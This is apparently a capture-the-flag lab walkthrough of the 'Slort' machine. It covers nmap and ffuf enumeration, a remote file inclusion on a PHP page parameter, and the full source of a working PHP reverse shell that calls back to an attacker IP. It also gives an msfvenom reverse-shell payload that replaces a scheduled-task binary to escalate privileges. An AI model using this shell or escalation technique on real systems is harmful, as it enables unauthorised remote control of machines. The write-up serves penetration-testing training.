root💀n16hth4wk-sec:~#

Hack Enumerate Harder!. Eat. Sleep. Repeat.

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First enumeration with nmap

# Nmap 7.94SVN scan initiated Fri Feb 23 11:05:05 2024 as: nmap -sC -sV -T4 -oN service.nmap -p 21,135,139,445,3306,4443,5040,7680,8080 -Pn 192.168.194.53
Nmap scan report for 192.168.194.53
Host is up (0.15s latency).

PORT     STATE  SERVICE       VERSION
21/tcp   open   ftp           FileZilla ftpd 0.9.41 beta
135/tcp  open   msrpc         Microsoft Windows RPC
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds?
3306/tcp open   mysql?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, RTSPRequest, TLSSessionReq, TerminalServerCookie: 
|_    Host '192.168.45.171' is not allowed to connect to this MariaDB server
4443/tcp open   http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
5040/tcp open   unknown
7680/tcp closed pando-pub
8080/tcp open   http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 23 11:09:41 2024 -- 1 IP address (1 host up) scanned in 275.14 seconds

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there’s a web server running on port 8080, opening it on a browser, we got redirected to an xampp web page.

┌──(n16hth4wk👽n16hth4wk-sec)-[~/Documents/PGP/Slort]
└─$ ffuf -ic -u "http://192.168.194.53:8080/FUZZ" -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fc 404,500,400 -e .txt,.php,.asp,.aspx,.old,.pdf -fs 0 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.194.53:8080/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
 :: Extensions       : .txt .php .asp .aspx .old .pdf 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
 :: Filter           : Response status: 404,500,400
________________________________________________

img                     [Status: 301, Size: 345, Words: 22, Lines: 10, Duration: 148ms]
site                    [Status: 301, Size: 346, Words: 22, Lines: 10, Duration: 135ms]
licenses                [Status: 403, Size: 1205, Words: 127, Lines: 46, Duration: 139ms]
dashboard               [Status: 301, Size: 351, Words: 22, Lines: 10, Duration: 140ms]
%20                     [Status: 403, Size: 1046, Words: 102, Lines: 43, Duration: 141ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

fuzzing for hidden directories

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checking the /site dir, we got a slort homepage, looking at the web page parameter http://192.168.194.53:8080/site/index.php?page=main.php which looks like a potential (Remote file Inclusion) RFI or (Local file inclusion) LFI endpoints.

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testing for rfi, we got a request from the target endpoint.

image

<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer  = 1024;    // read/write buffer size
    private $clen    = 0;       // command length
    private $error   = false;   // stream read/write error
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
            $this->os    = 'LINUX';
            $this->shell = 'sh';
        } else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
        } else if (posix_setsid() < 0) {
            // once daemonized you will actually no longer see the script's dump
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        $data = str_replace('<', '&lt;', $data);
        $data = str_replace('>', '&gt;', $data);
        echo $data;
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set global error flag
            echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $fstat = fstat($input);
        $size = $fstat['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
                    do {
						$status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('192.168.45.171', 443);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

using php reverse shell payload , we are able to spawn a reverse shell as user rupert.

Privilege Escalation

image

In the C:\ dir we got a backup dir, checking the content of the directory, we got an EXE file and info.txt file, checking the info.txt we can see a scheduled job to run every 5 mins.

┌──(n16hth4wk👽n16hth4wk-sec)-[~/Documents/PGP/Slort]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.171 LPORT=443 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe

first generate an msfvenom payload to spawn a reverse shell.

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replace the binary with our reverse shell payload. and let’s wait if we can spawn a reverse shell.

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wait for 5mins and boom we got a reverse shell

image

And we are through. 🙂 easy huh